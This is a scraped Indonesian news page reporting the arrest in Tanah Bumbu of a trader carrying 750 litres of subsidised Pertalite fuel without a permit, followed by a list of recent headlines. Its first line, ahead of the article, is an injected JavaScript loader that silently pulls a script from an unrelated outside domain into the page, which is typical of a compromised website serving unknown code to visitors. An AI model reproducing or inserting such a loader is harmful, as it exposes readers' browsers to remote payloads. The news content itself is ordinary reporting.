(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

Angkut Ratusan Liter Pertalite di Pikap, Pedagang di Tanbu Ditangkap Polisi


KANALKALIMANTAN.COM, BATULICIN – Anggota Unit II Satreskrim Polres Tanah Bumbu mengamankan seorang pedagang berinisal CH di Desa Sarigadung, Kecamatan Simpang Empat, Kabupaten Tanah Bumbu, Rabu (7/9/2022) siang.

Kapolres Tanah Bumbu AKBP Tri Hambodo SIK melalui Kasi Humas Polres Tanah Bumbu AKP I Made Rasa mengatakan bahwa pedagang tersebut diamankan saat kedapatan mengangkut ratusan liter BBM bersubsidi.

“Penangkapan tersangka berawal saat anggota Unit II Satreskrim Polres Tanah Bumbu sedang melakukan kegiatan patroli, dan akhirnya ditangkap karena tidak memiliki izin resmi pengangkutan dan kepemilikan BBM,” ungkap AKP Made, Kamis (8/9/2022) pagi.

Saat petugas melakukan patroli di Desa Sarigadung, Kecamatan Simpang Empat, petugas mencurigai satu unit mobil pikap Suzuki Carry warna biru dengan nomor polisi DA 8767 ZJ.

 

 

Baca juga: Harga BBM Naik, Uang Pensiun Seumur Hidup Anggota Dewan Bebani APBN!

Mobil yang dikemudikan CH kemudian dihentikan dan diperiksa oleh petugas Unit II Satreskrim Polres Tanah Bumbu. Petugas menemukan 30 jerigen berkapasitas 25 liter yang berisi total 750 liter BBM bersubsidi jenis pertalite.

“Pria berusia 42 tahun, bersama barang bukti yakni satu pilkap Suzuki Carry warna biru dengan Nomor Polisi DA 8767 ZJ, BBM jenis Pertalite sebanyak kurang lebih 750 liter dan 30 buah jerigen kapasitas 25 liter warna putih, CH dan barang bukti dibawa ke Mapolres Tanah Bumbu untuk proses hukum lebih lanjut,” tambahnya.

Perbuatan pedagang tersebut diduga melanggar hukum, sebagaimana dimaksud dalam pasal 55 UU RI Nomor 22 Tahun 2001 tentang Minyak dan Gas Bumi sebagaimana diubah dalam pasal 40 ayat 9 UU RI Nomor 11 Tahun 2020 tentang Cipta Kerja, Setiap orang yang menyalahgunakan pengangkutan dan/atau niaga bahan bakar minyak, bahan bakar gas, dan/atau liquefied petroleum gas yang disubsidi pemerintah dengan ancaman pidana paling lama 6 tahun penjara. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : kk


Risa

Recent Posts

Puncak Hari Jadi ke-26 Kota Banjarbaru Dihadiri Wali Kota 2000-2005 Rudy Resnawan

Pj Wali Kota : Sangat Beruntung Kota Banjarbaru Mempunyai Pendahulu yang Visioner dan Inovatif Read More

2 jam ago

Widya Dewi, Penyuluh Pertanian Asal HSU Raih Penghargaan dari Mentan RI

KANALKALIMANTAN.COM, JAKARTA - Widya Dewi, penyuluh pertanian asal Kabupaten Hulu Sungai Utara (HSU) Kalimantan Selatan… Read More

3 jam ago

Ribuan Orang Hadiri Haul KH Ahmad Hudhori di Martapura Timur

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi beserta alim ulama, habaib dan… Read More

7 jam ago

Pemkab Banjar Raih Penghargaan sebagai Penyelenggara Pemerintahan Daerah dengan Kinerja Tinggi

KANALKALIMANTAN.COM, JAKARTA - Prestasi demi prestasi ditorehkan Pemkab Banjar di bawah kepemimpinan H Saidi Mansyur… Read More

9 jam ago

TOP 10 MasterChef Indonesia Season 12 Siap Menghadirkan Tantangan Para Kontestan!

KANALKALIMANTAN.COM - Di Minggu ini, kita akan bertemu kembali dengan 10 besar kontestan MasterChef Indonesia… Read More

10 jam ago

Pansus III DPRD Kotabaru Pelajari Tata Kelola Air Tangerang

KANALKALIMANTAN.COM, KOTABARU - Dalam rangka pembahasan Rancangan Peraturan Daerah (Raperda) tentang Pengelolaan Sumber Daya Air,… Read More

23 jam ago